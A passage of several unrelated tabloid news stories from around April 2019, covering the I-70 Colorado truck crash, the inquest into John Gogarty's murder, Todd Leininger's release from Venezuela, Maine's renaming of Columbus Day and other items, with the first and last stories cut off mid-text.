just those who start them. Prudencio Esquillo, the local council chief in the neighbourhood of San Felipe Sur, agreed with the ban. He said that 'gossip cases' are often about conflict over money or property and that disputes could be settles by bringing 'the two sides together' before they go any further. 'We don't want to get a reputation for being a place with a lot of gossips,' he added. This is the moment a curvy female hawker is caught on camera twerking on a beach to attract tourists to the quesadilla snacks balanced on her head. The woman was filmed by beach-goers at the famous resort city of Acapulco in the western Mexican state of Guerrero. Wearing shorts and a vest top, she is seen shaking her ample derriere while simultaneously balancing a large bowl of quesadillas on her head. The woman was filmed by beach-goers at the famous resort city of Acapulco in the western Mexican state of Guerrero Tourists are heard laughing as they applaud the woman's eye-catching sales technique while eyewitness videos are proving popular on social media. Netizen 'Miguel Antonio' said: 'She deserves a tip, her enthusiasm is amazing', while 'Beatrizz Riozz' added: 'Women from Acapulco are the most chingonas (cool)...' But 'Ana Laura Candela' warned: 'I hope she sells her quesadillas before they fall off, I'm concerned she's going to drop them!' Tourists are heard laughing as they applaud the woman's eye-catching sales technique A quesadilla is a popular Mexican snack consisting of a tortilla filled with cheese, and sometimes also meat, beans and vegetables. Acapulco is one of Mexico's oldest tourist resorts, and was a popular getaway for Hollywood stars and millionaires from the 1940s through to the 1960s. But a huge increase in gang violence has seen it become the deadliest city in Mexico and the third-deadliest city in the world. The US government says it is as dangerous as Syria and Afghanistan and warns its citizens not to travel there. A seven-year-old is delighted when a window washer dressed as Captain America turns up outside his hospital window. Sean Baker was born with hypoplastic left heart syndrome and is waiting for a heart transplant at UPMC Pittsburgh children's hospital. Only his right heart was properly developed before Sean was born and he waits for his operation at the hospital. Sean Baker, seven, is sitting on the window ledge of UPMC Pittsburgh children's hospital when he sees Captain America on the other side of the glass Captain America waves as he is lowered down to Sean's window ready to clean it And his day is made when a man dressed as Captain America swings down to wash the window outside his room. Sean says 'there he is' when the superhero appears outside as he sits on the window sill. His mother tells him 'Batman's over there' as another window cleaner dressed as Batman works on another window. Sean shows the superhero his teddy bear and tells him 'you know what, I have a pet' Sean tells his mother he can't see Batman but knows Captain America is outside his window. The Marvel character speedily cleans the window as Sean shows him his Batman figurine. The adorable seven-year-old then tells his mother the superhero has a ring like hers - pointing to his wedding ring. He then says 'he is not scary' before the superhero swings over to clean the next window. Sean says 'he's probably seeing another kid' as the video ends. Advertisement The big rig driver facing vehicular homicide charges over the deaths of four people in a 28-vehicle crash on the Interstate 70 in Colorado Thursday, has been pictured. Police on Friday identified Rogel Lazaro Aguilera-Mederos, 23, as the driver of the semi that they believe caused the pile-up west of Denver. The massive collision sparked a 2,500 degrees Fahrenheit fireball which melted the road and metal on cars. The suspect, who is from Texas and holds a commercial driver's licence, reportedly told his brother that his brakes had failed. Aguilera is of Cuban descent and a permanent resident of the United States, and police said he was cooperating with the investigation. He is pictured wearing orange jail garments in a mugshot released from Jefferson County Jail on Friday. In another mugshot he appears with a lip piercing. Rogel Lazaro Aguilera-Mederos, 23, from Texas faces four counts of vehicular homicide charges after his arrest on Friday. He's being held in Jefferson County Jail and is scheduled to appear in court Saturday. He appears left in his mug shot and right with a lip piercing in a driver's license image Part of the I-70 was still closed Friday morning after the Thursday fireball crash that involved 28 vehicles. The chief engineer with the Colorado Department of Transportation said immense heat and oil could burn the road away Aguilera is from Cuba and is a permanent resident of the United States his brother said on Friday Aguilera has a commercial driver's licence and lives in Texas, police said on Friday Aguilera's brother said that he spoke to him after the accident and he explained his brakes failed A tow truck driver removes a burned out car at the scene of a fiery crash on I-70 near Colorado Mills Parkway Friday What remains of a semi-tractor and trailer are carried away as workers clear debris from the eastbound lanes of I-70 on Friday Workers clear debris from the eastbound lanes of Interstate 70 on Friday, April 26, 2019, in Lakewood, Colorado He was released from hospital with minor injuries after 'one of the worst accidents' the Lakewood area has ever seen, according to police. The suspect is due in Jefferson County Court Saturday afternoon for an advisement hearing. He is currently being held without bond but a judge may consider bond during that initial hearing. There was no information on whether he is represented by an attorney. The crash happened just after the east-west highway descends from the mountains, where signs warn drivers to check to make sure their brakes are cool and working after traveling down the steep grades. Aguilera was reportedly headed down a hill when he slammed into traffic slowed because of a previous crash ahead of him. His brother Daniel Aguilera told CNN that he had spoken to his sibling following the crash and was told that his brakes failed. Lakewood police spokesman John Romero described it as a chain reaction of crashes and explosions from ruptured gas tanks. 'It was crash, crash, crash and explosion, explosion, explosion,' he said. Aguilera was said to driving this white flatbed semi that is seen being towed away from the scene on Friday The West Metro Fire Department shared images of the aftermath of the incident that occurred on Thursday afternoon A firefighter sprays water on the wreckage in Lakewood, Colo., after a deadly collision on Interstate 70 near the Colorado Mills Parkway People were still trapped into burnt out car shells according to authorities Firefighters are seen tackling the blaze at the devastating scene where Aguilera's semi crashed into other vehicles Firefighters at the scene of the I-70 incident were working to recover bodies from the 28 vehicles involved A spokesman for the National Transportation Safety Board said the federal agency is monitoring local authorities' investigation into the crash but it is not involved. Peter Knudson said the NTSB's teams get involved when the agency sees an opportunity to issue new traffic safety recommendations. Authorities said Friday morning that there were still bodies at the scene of the incident in burnt car shells and daylight would help the recovery. Investigators are still working to identify those killed. They were each the single occupant in their vehicles. The crash occurred at 4.50pm Thursday but investigators were not able to get a closer look until around 10pm. It took five hours for West Metro Fire Rescue to extinguish the flames. They admitted the number of motors caught in the incident was much higher than they thought due to debris getting in the way of the investigation. A total of 24 cars and four semis were counted. 'That number (of involved vehicles) is significantly higher than what we had last night,' Ty Countryman, a spokesman for the police department in Lakewood, Colorado, said. 'A lot of that is because once the debris of the semis and cars under semis once we could get in and really start doing a car count, that's why that number really went up.' Thursday's crash was 'one of the worst accidents' the Lakewood area has ever seen, according to police As the scene was cleared on Friday it was still unclear how many people were injured in the Thursday car crash Authorities survey the scene of a fiery crash on I-70 near Colorado Mills Parkway that shut down the highway in both directions on Friday Emergency crews work at the scene of a deadly collision on Interstate 70 near the Colorado Mills Parkway in Lakewood Emergency personnel work at the scene of a deadly collision on Interstate 70 near the Colorado Mills Parkway in Lakewood 'The carnage was significant. Just unbelievable,' Countryman said. The charges for the man in Jefferson County Jail were decided after assessing evidence and carrying out interviews overnight. There was no suggestion drink or drugs played a part in causing the crash. Countryman also said it didn't appear the 'devastating' crash was intentional. Investigators are looking at whether the truck lost its cargo, experienced brake failure or had some other mechanical issue that left the eighteen-wheeler unable to stop. 'It is true carnage there as far as the debris, what's left of cars and trucks, along with the cargoes that were in the semis,' Countryman said. The spokesperson said there was enough probable cause to go ahead with the charges. The road will be closed until at least Saturday. Investigators were not able to get a close look at the scene until around 10pm after flames were extinguished. Bodies were said to still be on the scene as rescuers could not get deeper into the debris until the flames were gone. They said daylight would help them in the recovery Police said the number of motors caught in the incident was much higher than they thought At least six were injured during the evening commute when a tractor-trailer careened into several other vehicles. 'The vehicle came down and ended up colliding with slower traffic, causing a very big chain-reaction crash that also ignited and started a fire,' Countryman said on Thursday. The fireball is estimated to have reached around 2,500-degrees Fahrenheit, according to Josh Laipply, chief engineer with the Colorado Department of Transportation. Laipply said all of the heat and oil was able to burn the road away. Images show the burned asphalt take on a gravel-like appearance and Laipply said heat 'can turn pavement into rubble, essentially'. The intense heat also melted the aluminum metal on cars. 'I was hitting other cars. When I came to a stop, I look in my rear view mirror and all I saw was a bunch of flames,' witness Brian Dickey told KMGH about being involved in the accident. 'And I jumped out of the vehicle as fast as I could. There was so much fire at the time that I couldn't even really approach any of the other vehicles to see if there was any other survivors or what.' Traffic on I-70 where the crash occurred was already backed up because of an earlier accident involving a school bus, a semitrailer and a sedan. All of the children aboard the bus were reported to be okay with just minor injuries. Some people were taken to a hospital for further examination. Bystanders at the side of the road watched in horror at the carnage as fire crews worked hard to put out the blaze Wooden beams and planks were seen strewn across the highway like matchsticks as the fire took hold In the moments before the second more devastating accident, a YouTuber inadvertently captured the speeding big rig zooming along the shoulder, flying past his own car which was stuck in slow-moving traffic caused by the first crash. The video, from Burger Planet, shows the speeding semi passing stopped vehicles at a colossal speed. The camera is then rotated around to show a large plume of thick black smoke rising from where I-70 goes under Denver West Colorado Mills Parkway. Joshua McCutchen told Good Morning America that a man who was standing by the road with a sign asking for money ended up saving the lives of four people by pulling them from the wreck. 'He's definitely a hero - he saved four people's lives,' the vlogger said. 'I've never seen that many cars and that much destruction and fire. It was just complete chaos.' The road will also have to be resurfaced after it began to melt under the scorching temperatures Engineers have now been called in to check on the stability of the bridge after the blaze hit The runaway semi-truck plowed into standstill traffic, causing explosions and fire as several more vehicles were hit The big rig had crashed and exploded into flames, igniting a number of other vehicles in its path. Video footage of the accident's aftermath showed flames raging beneath and around the overpass. Black smoke could be seen rising into the air around the scene. One of the trucks was carrying lumber. That, coupled with a diesel spill, only added fuel to the fire. 'As soon as it rolled over, it just caught on fire. And I just dropped my sign, took off running,' Darin Barton - who has been homeless since an accident involving a light rail vehicle and a car in 2014 - said. 'As soon as I [saw] flames, I headed under the bridge, grabbed three or four people out of a couple cars. 'I didn't do this all myself. There were other people in traffic that helped.' He told FOX31: 'I just did what I hoped anybody would've done if I was sitting down there.' A stretch of Interstate 70, a major east-west highway route that runs through Denver into the Rocky mountains, was closed in both directions for several hours and it is unlikely to reopen before Friday morning's commute. One of the semi tricks can be seen next to several cars including a Jeep and another SUV that were involved A preliminary investigation suggests Aguilera lost control of the semi-truck, resulting in the explosion and fire The big rig was one of four that were reportedly involved in the accident, each of them bursting into flames There were numerous explosions as a result of the accident yet traffic was still driving on the bridge directly above Helicopter footage shows the blaze in its early stages before the fire really took hold A bridge over the Denver crash site was damaged in the blaze, and engineers from the Colorado Department of Transportation responded to check its stability Countrymen said engineers from the Colorado Transportation Department were inspecting the overpass bridge for possible structural damage from the fire. There is also road damage from the inferno. Preliminary investigations suggest Aguilera lost control resulting in the explosions and fire as several other vehicles were hit. It was not immediately clear which vehicles accounted for the fatalities. A West Metro Fire Rescue firefighter was also injured by an explosion, fire officials said. The firefighter was hit by debris, possibly an exploding tire. His injuries were described as minor. I-70 is Colorado's vital east-west highway that connects the mountains with the plains and traffic has grown worse as the state's population has boomed. The shock on Joshua McCutchen aka Burger Planet's face is clear, as he notes the speed of the big rig flying by A crazed cage fighter who grabbed a policeman in a headlock and threatened to 'rip his head off' has been jailed for a year. Bobby Mason, 38, grabbed PC Jack Moorhouse when he and PC Luci Boardman tried to arrest him at his home in Stourbridge, West Midlands for another assault. Bodycam worn by PC Moorhouse during the incident on February 10 shows Mason taunting him and asking him if his radio has an alarm. Bobby Mason, 38, grabbed PC Jack Moorhouse when he and PC Luci Boardman tried to arrest him at his home in Stourbridge, West Midlands for another assault After being told he is under arrest, Mason flies into a rage and grabs PC Moorhouse by the neck and puts him in a headlock He then threatens to 'rip his head off', while PC Moorhouse attempts to defuse the situation by replying: 'Mate, I'm being fine with you.' After being told he is under arrest, Mason flies into a rage and grabs PC Moorhouse by the neck and puts him in a headlock. Bodycam worn by PC Boardman shows Mason trying to punch the officer before putting him in a choke hold while members of the fighter's family beg him: 'Let him go!' Cops eventually used Parva spray to incapacitate Mason and he was arrested following the attack. Mason, from Stourbridge in the West Midlands, claimed PC Moorhouse had attacked him but didn't realise the attack had been caught on bodycam. PC Moorhouse was taken to hospital where he was treated for minor injuries. Bodycam worn by PC Moorhouse during the incident on February 10 shows Mason taunting him and asking him if his radio has an alarm. Cops eventually used Parva spray to incapacitate Mason and he was arrested following the attack Detective Chief Inspector Pete Dunn, of West Midlands Police, said: 'This was an horrific attack on a police officer in the line of duty. 'It serves as a reminder to us all of the inherent dangers faced by police officers on a daily basis in our efforts to prevent crime, protect the public and help those in need. 'Mason, a trained cage fighter, would have known his own strength and deliberately wanted to debilitate and harm PC Moorhouse. 'Luckily, Jack wasn't seriously injured, but no doubt this experience will stay with him for the rest of his career.' He was jailed for a year on Thursday after he admitted common assault and actual bodily harm at Wolverhampton Crown Court. There were 'missed opportunities' to prevent the death of a property developer who was murdered by a convicted killer after he had been released from prison on licence, a coroner has ruled. John Gogarty, 65, was stabbed to death by Birley in his home in Wombwell, near Barnsley John Gogarty, 65, was stabbed 69 times in his home in Wombwell, Barnsley, in July 2015 by Ian Birley and his partner Helen Nichols so they could steal cash to settle a 500 drugs debt, an inquest in Sheffield heard. Twisted Ian Birley, 46, and his accomplice broke into the home of Mr Gogarty and carried out the 'brutal attack' before making off with the victim's wallet. Birley was being monitored on licence following his release from prison in December 2013 after serving 18 years of a life sentence for killing another pensioner in 1995, in what a coroner called 'a similarly violent murder'. The killer had been given a number of 'final warnings' for license breaches in the weeks and months following his release, during which time he was considered a 'medium risk' offender, and was under 'inadequate scrutiny' from authorities, Sheffield Coroners Court heard. Coroner Chris Dorries, recording a narrative conclusion, said: 'The offender breached his license conditions within a matter of weeks and was appropriately given a final warning. Birley was out of prison on licence for murder at the time of the killing, having served 18 years of a life term. He had been deemed to be 'medium risk' 'This was an error. 'Whilst a warning may have been a sufficient sanction at that time for the breach involved, the fact that it was issued as a final warning left the Probation Service nowhere to progress in the face of more serious breaches in May 2014. 'Another final warning was issued, giving an inappropriate message to the offender.' Mr Dorries added: 'Whilst a decision on recall [to prison] was subject to careful discussion by appropriate persons, the events of May 2014 as a whole amounted to a missed opportunity to take action, which would, more likely than not, have safeguarded Mr Gogarty from an attack the following year.' The court heard Birley was permitted to leave supported accommodation, where he had limited independence, in November 2014. The corner said: 'At that time the Probation Service had no provision for drug testing in the community, which was a major omission, leaving the offender with much reduced scrutiny. 'This lack of an adequate system in place to provide effective monitoring was, on the balance of probabilities, a more than minimal contribution to the circumstances of Mr Gogarty's death.' At the time of the murder Birley had not been tested for drugs in nine months. Nichols, Birley's girlfriend, was ordered to serve a minimum of 20 years - she went to a cash point and took 500 so Birley could repay a debt he owed to a drug dealer for crack cocaine after stealing Mr Gogarty's card The final 'lost opportunity', according to Mr Dorries, was in late 2014 when the relationship between Mr Gogarty and his accomplice, a drug user, was made apparent to the Mental Health Trust. He said communication at that point could 'possibly' have altered the eventual outcome. Mr Dorries will be submitting a regulation 28 report to the Probation Service and NHS, outlining concerns he has that the same mistakes made in Mr Gogarty's case could be made again if procedural changes aren't made. The court heard Birley and his then girlfriend Helen Nichols broke into Mr Gogarty's home in Barnsley, South Yorks, in July 2015. The pair demanded the property developer's pin before snatching his wallet and carrying out the brutal attack. They then proceeded to withdraw 500 from his bank account, which was to be used to pay off a drug debt Birley had incurred. The criminals also took a bottle of Bollinger champagne from the victim's property. The family of John Gogarty are calling for an independent investigation to take place whenever someone is murdered by somebody under the supervision of the Probation Service The family of John Gogarty embrace outside of Sheffield Coroner's Court today following the findings that there were 'missed opportunities' to save their murdered relative Mr Gogarty's body was found four days later by his son. Birley was given a life sentence at Sheffield Crown Court in 2015, while Nichols was given a minimum 20-year term, having both been convicted of Mr Gogarty's murder. The inquest previously heard how Birley had previously killed a man named Maurice Hoyle in 1995 by stamping on his head. Detective Chief Inspector Steve Handley of South Yorkshire Police, who led the murder investigation, said Birley had shown signs of being 'chaotic' in the lead-up to the killing. Mary Pilgrim, the ex-head of the national Multi-Agency Public Protection Arrangements Team, reviewed the case after the tragedy. She said a decision was made to reduce Birley's status from 'high risk of serious harm to the public' to 'medium risk' 18 days before he was released, in December 2013. Ms Pilgrim, who is now head of public protection for London, said: 'In my professional assessment, I would not have reduced him prior to release from 'high' down to 'medium'.' The family of John Gogarty, who was stabbed 69 times during an attack on him at his home in Yorkshire, pictured at Sheffield Coroner's Court today. The Gogarty family - Wayne Kelly, Nicola Gogarty (John's daughter), Vivian Gogarty (John's sister), Pheobe Gogarty and John Gogarty She said Birley had two 'problematic' temporary releases in the run-up to his eventual release and his final release had been delayed for a number of months after he tested positive for cannabis. Senior coroner Chris Dorries said that the way the Probation Service dealt with Birley's breaches of his licence conditions in May 2014 'amounted to a missed opportunity to safeguard against a deterioration into the further offending which led to Mr Gogarty's death'. Mr Dorries said he had heard a range of opinions about whether Birley should have been recalled to prison in the light of these breaches, which related to two positive tests for methadone, refusals relating to urine testing and failure to attend a drug agency. The coroner said: 'Returning Offender One (Birley) into custody would not have been an absolute guarantee against the harm that eventually befell Mr Gogarty. 'It is possible that the offender would have been paroled again and that, sooner or later, he would have considered an attack upon Mr Gogarty as a source of funding for any drug debt that he accrued. 'But I consider it plain at least that Mr Gogarty would not have died when he did if Offender One had been recalled to prison in May 2014.' He said: 'Whilst a decision on recall was subject to careful discussion by appropriate persons, the events of May 2014 as a whole amounted to a missed opportunity to take action which would, more likely than not, have safeguarded Mr Gogarty from an attack the following year.' Mr Dorries said Birley had already been issued with one final warning but he was given another in May 2014. The coroner said that issuing the first final warning was 'a moderately serious error' as he said: 'If a final warning was given a second time, it would lead the offender into believing that nothing would happen when a further breach was committed. 'In effect, it would possibly give the offender cause to believe that he could 'game the system' without significant risk of recall.' Birley was given a whole-life jail sentence at Sheffield Crown Court in 2015 for murdering Mr Gogarty, while Nichols was given a minimum 20-year term. Mr Dorries stressed that it was 'not the function of the inquest' to comment upon the Parole Board's decision to release Birley. He said that it was a 'major omission' that, at that time, the Probation Service had no provision for drug testing Birley in the community and this had 'a more than minimal contribution to the circumstances of Mr Gogarty's death'. He also pointed to communication issues between the local mental health trust and the Probation Service about information the trust, which was helping Nichols, had about Birley's activities. He said: 'At the least, this was a lost opportunity for meaningful communication, which would have led to valuable information being given to the Probation Service. There is a possibility, but not a probability, that this would have altered the outcome.' An American who had been imprisoned in Venezuela since 2014 has finally been released, his family have confirmed in a statement. Todd Leininger, 37, from Bloomington, Indiana, was originally arrested on charges of attempted murder and arms trafficking five years ago, during a visit to the country with his wife, who is of Venezuelan origin. With the US Supreme Court calling the charges trumped up, a Venezuelan judge eventually called for Leiningers release last November after all counts were dropped. But authorities ignored the order, and he remained incarcerated. They accused him of aiding the opposition during anti-government protests. However, on Friday Barbara Leininger, Todds mother, released a statement on the Facebook page BringToddHome, to reveal she was en-route to finally pick her son up from the airport. Todd Leininger, 37, from Bloomington, Indiana, was originally arrested on charges of attempted murder and arms trafficking five years ago His mother, Barbara (pictured right with Todd), has campaigned tirelessly alongside the US Government to see her son released Over the past five years, all I have hoped and worked for is Todds safe return home, she said. This was a long and often heart-breaking journey, but I am so grateful to be reunited with my son and to have him back home in Indiana. His release came at amid ever-heightening tensions between President Trump and the Venezuelan government, led by Nicholas Maduro. The Trump administration has placed socialist leader Maduro under tight sanctions, for his part in cracking down on political opposition and his blockade of international humanitarian aid. Along with 50 other countries, the US backs the leader of the National Assembly, Juan Guaido, as the countrys legitimate president. The State Department has now confirmed Leiningers released, calling it overdue. We welcome the release of U.S. citizen, Todd Leininger. The welfare and safety of U.S. citizens abroad is one of the highest priorities of the Department of State. Mr. Leiningers release was overdue, the statement said. A Venezuelan court ordered his release in November 2018, and since that time we have been pressing for his return to the United States. Todd's release came at amid ever-heightening tensions between President Trump and the Venezuelan government, led by Nicholas Maduro (above) Barbara released a statement on the Facebook page BringToddHome, to reveal she was en-route to finally pick her son up from the airport. She also revealed the jumper she'd be wearing to greet her son, after long five-year wait Leininger was released from a prison in the countrys capital city of Caracas on Wednesday, before being flown to Miami on Thursday for an emotional reunion with his family. During his time in prison, Leininger is said to have suffered mental and physical illnesses and extreme conditions throughout his imprisonment, including a lack of food and medicine, his family told ABC News. Conditions inside his prison cell were said to have significantly worsened by the countrys escalating economic and political crises. Leininger was among a number of other American citizens, who the US government say are being wrongly detained under Maduros reign. While we welcome todays news on Todd Leininger, we remain concerned about other Americans in prison in Venezuela, the State Department added. We continue to call for their immediate release. Joshua Holt was released after being held for over two years. Six Citgo oil executives who are U.S. citizens remain detained. An estimated 98,000 immigrant children who are in the country illegally graduate from U.S. high schools each year, according to a new study. That figure includes teenagers who do and do not have protection through the Deferred Action for Childhood Arrivals program, better known as DACA, according to the Washington D.C.-based Migration Policy Institute. Overall, the number represents a significant increase in unauthorized immigrant high school graduates compared to the most recent 2003 estimate of 65,000 students. This graph illustrates how many unauthorized immigrants graduate from high school each year in the top 15 states. Source: Migration Policy Institute Researchers analyzed nationwide public school graduation rates for different demographic subgroups to reach their estimates. An additional 27,000 immigrants reach high school age each year, but do not graduate. California and Texas had the highest numbers of these immigrant graduates, at 27,000 and 17,000, respectively together accounting for 44 percent of all those graduating in the U.S. each year. An additional 5,000 graduate each year in Florida, while 4,000 each graduate in New York, New Jersey and Illinois. About the U.S. immigrant population Approximately 43.3 million immigrants live in the United States, which includes 20.7 million naturalized U.S. citizens and another 22.6 million non-citizens. America's foreign-born population makes up 13.5 percent of the total U.S. population, which is up from five percent (9.6 million) in 1965. By 2065, America's foreign-born population is expected to hit 78 million. These days, more Mexican immigrants are returning home than coming to the United States. Between 2009 and 2014, around 870,000 Mexicans immigrated to the United States, while 1 million actually went back to the country. The median income among the 20 million American adults who are the children of foreign-born immigrants is just $100 below the national average at $58,100 a year - almost 30 percent higher than that of their parents. (Source: Center for American Progress) Advertisement However, it's unclear what share of those 98,000 have protection under the Obama-era DACA policy, which allows immigrants who were brought to the country illegally as minors to live, work and attend college in the U.S., said Jeanne Batalova, senior policy analyst at MPI. 'Some of them already have DACA, but many of them don't,' she told DailyMail.com. Batalova said there are several reasons for the increase in the number of high school graduates who are in the country illegally. For one, they included people up to age 19 in their estimates, because many immigrants graduate high school late due to language barriers. Other factors include the overall increase in migrants coming to the country illegally, as well as a growing body of advocates who are helping intervene with these high school students to help increase their graduation rates. In addition, 'The population has become less Mexican, more Central American, Asian and African; it's become more diverse,' Batalova said. DACA remains a controversial and contentious issue in Washington, where Democrats have continued to call for protections for the estimated 680,000 people who had no control over coming to the U.S. with their parents as children. In many cases America is the only country they have ever known. The Trump administration has fought DACA in the courts, though a federal judge in California ruled that the legal protection must be preserved and renewed for immigrants who already have DACA status. Other cases are waging around the country, and Trump has asked the Supreme Court to take up a case on the issue to decide the fate of DACA recipients once and for all. This graph shows the increase in immigrants coming across the Southern U.S. border, including those who cross illegally and those who present themselves at legal checkpoints. Each line represents the first six months of a different fiscal year, with 2019 already seeing a sharp uptick The high court did not take up the case in its most recent calendar, but many experts anticipate the case will come before the justices in the fall. The California ruling did not allow for any new DACA applications to be filed, so those without protected status will be facing significant challenges as they graduate high school, Batalova said. 'Without DACA protections they are facing a higher risk of deportation,' she said. 'They won't be able to apply for a work permit. That means if they stay, they can't work, or the only options for them are in the informal economy. And those options are getting narrower and narrower as employers get more aware and afraid of the consequences if they hire someone who is unauthorized.' The latest study comes as border crossings are swelling to some of the highest rates in at least a decade, forcing the Trump administration to release many immigrants into the country immediately. Border crossings were up to 103,492 in March a 77.5 percent increase compared to January, according to federal data. Secret Service agents removed a man from the audience at President Donald Trump's speech to the National Rifle Association after he tossed his cellphone on to the stage. William Rose, was charged by the Marion County Sheriff on Friday with disorderly conduct, law enforcement sources said. Witnesses said Rose, who appeared to be a supporter of the president, was intoxicated at the event. Trump headlined the annual NRA convention for the third year in a row on Friday, in Indianapolis at Lucas Oil Stadium. The Secret Service is conducting an investigation into whether Rose intended any threat toward the President, sources told Fox News. Secret Service agents removed William Rose (pictured) from the audience at President Donald Trump's speech to the National Rifle Association on Friday in Indianapolis after he tossed his cellphone on to the stage Rose was pictured smiling wide at the event, wearing a blue hooded sweatshirt and hat, before he was escorted out. The phone flew toward one side of the lectern as Trump was approaching from the other side. The president proceeded with his speech without delay. He seemed to be enjoying himself, pointing toward the stage and smiling after he flung his phone through the air. His smile didn't fade as Trump began to speak, with the president undeterred by the mobile device which landed on the side of the stage. The phone is shown flying through the air, circled in red Here the phone is shown circled in red as it made its way toward the stage Rose (pictured) was charged by the Marion County Sheriff on Friday with disorderly conduct, law enforcement sources said At the convention, Trump said the US has decided to withdraw its support for a treaty regulating the multibillion-dollar global arms trade. Trump said at the event that he has decided to revoke the United States' status as a signatory of the Arms Trade Treaty regulating international trade in conventional weapons, including small arms, battle tanks, combat aircraft and warships. He says America is 'rejecting this treaty' and 'taking our signature back.' Trump claimed at the NRA convention that the Arms Trade Treaty poses a threat to the Second Amendment. The US signed the treaty in 2013, but never ratified it. It's the latest example of the Trump administration's dislike of international pacts. The phone landed on the stage, a distance from the president, and Rose was removed Trump began to speak, undeterred by the mobile device which landed on the side of the stage Trump's third address to the annual NRA convention comes as longtime observers say the group is at its weakest moment in memory, due to serious infighting, financial issues and shifting public sentiment after a series of mass shootings. Trump, however, says the NRA is getting stronger, not weaker, and is doing important work vital to making his 'Make America Great Again' slogan a reality. The NRA spent millions of dollars to help elect Trump in 2016 but had a much lower profile during the 2018 midterms. During his talk, Trump tried to unify the group with a look toward 2020, telling gun owners they should get ready to vote for Republicans. He said his political opponents 'want to take away your guns. You better get out there and vote.' Trump said the 2020 presidential and congressional elections are around the corner. 'It seems like it's a long ways away. It's not,' he said. Rose seemed to be enjoying himself, pointing toward the stage and smiling after he flung his phone through the air. Witnesses said he was intoxicated at the event Trump also addressed special counsel Robert Mueller's investigation into Russian meddling in the 2016 presidential election before the crowd, making jokes about what he referred to as an attempted 'coup.' Trump said his political enemies 'tried for a coup, didn't work out so well. And I didn't need a gun for that one, did I?' The friendly audience applauded the quip, but Trump wasn't done. He said he's seen 'corruption at the highest levels. A disgrace. Spying. Surveillance trying for an overthrow.' Mueller's probe found no evidence that Trump and his campaign colluded with the Russians to influence the 2016 presidential election. But his report contained details about Trump's efforts to shut down the investigation, fire Mueller and lie. Some Democrats say there's ample evidence of obstruction of justice. Attorney General William Barr said he did not believe the evidence was sufficient to prove that Trump had obstructed justice, but he noted that Mueller's team did not exonerate the president. Before Trump took the stage, Vice President Mike Pence assured those gathered that under the Trump administration, 'Under this president and this vice president no one is taking your guns.' The line from the former Indiana governor got a rousing applause from the NRA members in attendance. The white supremacist who stabbed two people to death on a Portland train while they protected two young black girls from him erupted in court on Friday, screaming 'liar' in the face of another black woman who says he assaulted her the day before the killings. Jeremy Christian, 36, is charged with the murders of 53-year-old Ricky John Best and 23-year-old Taliesin Myrddin Namkai-Meche who he stabbed to death in 2017 on board a MAX train in Portland. He also attacked 21-year-old Micah Fletcher who survived. Jeremy Christian, 36, erupts in court on Friday while listening to a black woman testify about how he threw a bottle at her the day before he stabbed two men to death in 2017 He yelled 'liar!' and had to be removed from the courtroom by his attorneys His trial has not yet begun but on Friday, a judge heard from from witnesses to determine whether or not it should be delayed - a request his legal team has put in. Demetria Hester testified on Friday how the day before he killed two men, Christian threw a bottle at her, causing her to bleed Among them was Demetria Hester who says she was assaulted by Christian the day before the train stabbings because she was black. As she spoke, Christian yelled: 'Liar! Liar!' and had to be removed from the courtroom. He also screamed: 'You're not the only black person on MAX, liar!' Hester told how the day before the stabbings, Christian threw a bottle at her on the train during a different rant against 'blacks and Jews'. It hit her and caused her to bleed, she said. She says she contacted police about it but that nothing was done to stop him. On May 26, he was harassing two black teenage girls who were sitting on the train, one of whom was wearing a headscard, when the three men stepped in. Rick Best (left) and Taliesin Myrddin Namkai-Leche were both stabbed to death by Christian as they defended two young black girls from him Micah Fletcher, 21, was also stabbed but he survived the attack. He is shown at one of Christian's court hearings Wielding a knife, he attacked all three, fatally wounding Best and Namkai-Meche. The two girls escaped unharmed. Fletcher survived but required surgery. He has attended court proceedings in the past. Christian's legal team has asked to delay the trial from June 24. They say they need more time to gather witnesses who could testify on his behalf and potentially save him from execution. Before the attack, Christian got by by selling magazines on the side of the road. He had been in prison before for armed robbery and had never held down a steady job. Maine has become the latest state to rename Columbus Day to honor Native Americans, while Oklahoma has opted to celebrate both the 15th century Italian explorer and indigenous people. Maine's Democratic Gov. Janet Mills said Friday that 'there is power in a name and who we choose to honor' before signing a law that drops the states recognition of the federal holiday. The October holiday previously known as Columbus Day will now be called Indigenous Peoples Day in Maine. Maine's Democratic Gov Janet Mills on Friday signed a bill that drops the states recognition of Columbus Day and replaces it with Indigenous Peoples' Day 'There is power in a name and in who we choose to honor,' Mills said during the signing ceremony attended by Native American activists Ambassador Maulian Dana, of the Penobscot Nation, thanked Mills, the Maine State Legislature and state Representative Benjamin Collings, a Democrat from Portland who sponsored the bill seeking the name change, for what she called a 'significant act'. GOV MILLS' REMARKS ON COLUMBUS DAY RENAMING 'Our history is by no means perfect. But, for too long, it has been written and presented in a way that fails to acknowledge our shortcomings. 'There is power in a name and in who we choose to honor. 'Today, we take another step in healing the divisions of the past, in fostering inclusiveness, in telling a fuller, deeper history, and in bringing the State and Maines tribal communities together to build a future shaped by mutual trust and respect.' Advertisement 'It shows a true intent to honor the Indigenous Nations of our State and brings all citizens to an elevated understanding and reconciliation of our shared history,' Dana said. Maine now joins Vermont, New Mexico, Alaska, South Dakota, Oregon, Minnesota and Hawaii in replacing Columbus Day with Indigenous Peoples Day. Demands to do away with Columbus Day date to the 1970s. Native American tribes are pressing for the change, pointing to atrocities they suffered. Columbus Day was officially established as a federal holiday in 1937 under President Franklin Roosevelt. Much like the federal holiday bearing his name, the Italian explorer's 1492 'discovery' of America is controversial itself with some pointing out Viking explorer Leif Erikson arrived long before the Italian. Others note Columbus actually arrived in the Caribbean and not in America. Also on Friday, Oklahoma Governor Kevin Stitt, the first governor in the US to be enrolled as a member of a Native American tribe, signed into law a bill to celebrate a day for indigenous people on Columbus Day. Maine now joins Vermont, New Mexico, Alaska, South Dakota, Oregon, Minnesota and Hawaii in ditching the federal holiday honoring Italian explorer Christopher Columbus. Pictured: the Christopher Columbus statue at Manhattan's Columbus Circle in New York The Republican said the bill was a fair compromise that gives Oklahoma residents an opportunity to celebrate both Christopher Columbus and the state's indigenous people. The Inter-Tribal Council of the Five Civilized Tribes, which represents more than 750,000 tribal citizens, passed a resolution earlier this year urging Stitt to sign the measure. 'I think moving it to Columbus Day, I don't see any downside to it at all,' Stitt said. 'It just gives us one opportunity to celebrate Columbus, but also the indigenous people here in America.' Oklahoma is home to 39 tribes, and more than 7 per cent of the population identifies as Native American, one of the highest proportions in the nation. Unlike in other states, the latest being Maine, the bill does not replace Columbus Day. It moves Oklahoma's current Native American Day from November to the second Monday in 